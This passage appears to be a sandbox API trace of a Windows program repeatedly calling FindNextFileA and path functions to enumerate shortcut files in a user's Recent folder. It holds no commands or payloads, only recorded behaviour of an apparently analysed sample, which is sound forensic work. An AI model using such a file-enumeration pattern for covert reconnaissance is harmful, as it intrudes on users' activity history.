HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.740] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f03b60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3f03b60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3f03b60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="lKn6D4xOUSHQ34.lnk", cAlternateFileName="LKN6D4~1.LNK")) returned 1 [0088.740] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.740] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lcrr707tX FOCUYrqQo.lnk") returned="lcrr707tX FOCUYrqQo.lnk" [0088.740] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.740] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.740] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4080920, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4080920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4080920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x202c, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="lwGRQt.lnk", cAlternateFileName="")) returned 1 [0088.740] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.740] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lKn6D4xOUSHQ34.lnk") returned="lKn6D4xOUSHQ34.lnk" [0088.740] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.740] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.741] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18edb60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe42e1f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe42e1f20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="mb19jilzP svyDtfae2.lnk", cAlternateFileName="MB19JI~1.LNK")) returned 1 [0088.741] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.741] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lwGRQt.lnk") returned="lwGRQt.lnk" [0088.741] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.741] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.741] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3805ac0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3805ac0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3805ac0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9b3, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="mhA5fiA.flv.lnk", cAlternateFileName="MHA5FI~1.LNK")) returned 1 [0088.741] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.741] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mb19jilzP svyDtfae2.lnk") returned="mb19jilzP svyDtfae2.lnk" [0088.741] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.741] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.742] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3be3e80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3be3e80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3be3e80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x150d, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="MiWyZ9uPjJv.flv.lnk", cAlternateFileName="MIWYZ9~1.LNK")) returned 1 [0088.742] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.742] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mhA5fiA.flv.lnk") returned="mhA5fiA.flv.lnk" [0088.742] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.742] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.742] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a40f60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3a40f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3a40f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x26f5, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="mx4r.lnk", cAlternateFileName="")) returned 1 [0088.742] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.742] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MiWyZ9uPjJv.flv.lnk") returned="MiWyZ9uPjJv.flv.lnk" [0088.742] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.742] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.743] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ccbf20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe41fd6e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe41fd6e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="My Music.lnk", cAlternateFileName="MYMUSI~1.LNK")) returned 1 [0088.743] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.743] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mx4r.lnk") returned="mx4r.lnk" [0088.743] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.743] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.743] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4a0be0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6f378e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f378e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x54f, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="My Pictures.lnk", cAlternateFileName="MYPICT~1.LNK")) returned 1 [0088.743] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.743] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk") returned="My Music.lnk" [0088.743] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.743] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.744] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf80cb80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4758860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4758860, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x539, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="My Videos.lnk", cAlternateFileName="MYVIDE~1.LNK")) returned 1 [0088.744] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.744] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk") returned="My Pictures.lnk" [0088.744] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.744] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.744] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e06de0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6e06de0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6e2cf40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="n-feSIJBHTFC.lnk", cAlternateFileName="N-FESI~1.LNK")) returned 1 [0088.744] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.744] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk") returned="My Videos.lnk" [0088.744] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.744] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.745] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4165160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4165160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe418b2c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13aa, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="NXg.lnk", cAlternateFileName="")) returned 1 [0088.745] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.745] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n-feSIJBHTFC.lnk") returned="n-feSIJBHTFC.lnk" [0088.745] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.745] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.745] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42bbdc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe42bbdc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe42bbdc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="oGDg 1IQMtQrn4fu.lnk", cAlternateFileName="OGDG1I~1.LNK")) returned 1 [0088.745] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.745] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NXg.lnk") returned="NXg.lnk" [0088.745] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.745] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.746] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9637e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9637e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9637e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x234, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="oOnJIo.lnk", cAlternateFileName="")) returned 1 [0088.746] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.746] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oGDg 1IQMtQrn4fu.lnk") returned="oGDg 1IQMtQrn4fu.lnk" [0088.746] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.746] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.746] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46c02e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe46c02e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe46c02e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="OrlJOxdPRM5UrJhudtr.lnk", cAlternateFileName="ORLJOX~1.LNK")) returned 1 [0088.746] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.746] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oOnJIo.lnk") returned="oOnJIo.lnk" [0088.746] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.746] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.746] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ecc580, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ecc580, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2ef26e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="OrUm.mkv.lnk", cAlternateFileName="ORUMMK~1.LNK")) returned 1 [0088.747] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.747] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OrlJOxdPRM5UrJhudtr.lnk") returned="OrlJOxdPRM5UrJhudtr.lnk" [0088.747] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.747] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.747] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe520eb60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5f00300, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5f00300, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe98, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="OUnSf4cYXz2I.lnk", cAlternateFileName="OUNSF4~1.LNK")) returned 1 [0088.747] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.747] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OrUm.mkv.lnk") returned="OrUm.mkv.lnk" [0088.747] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.747] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.748] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe600aca0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe600aca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe600aca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="P8EWdbtKQ.lnk", cAlternateFileName="P8EWDB~1.LNK")) returned 1 [0088.748] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.748] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS 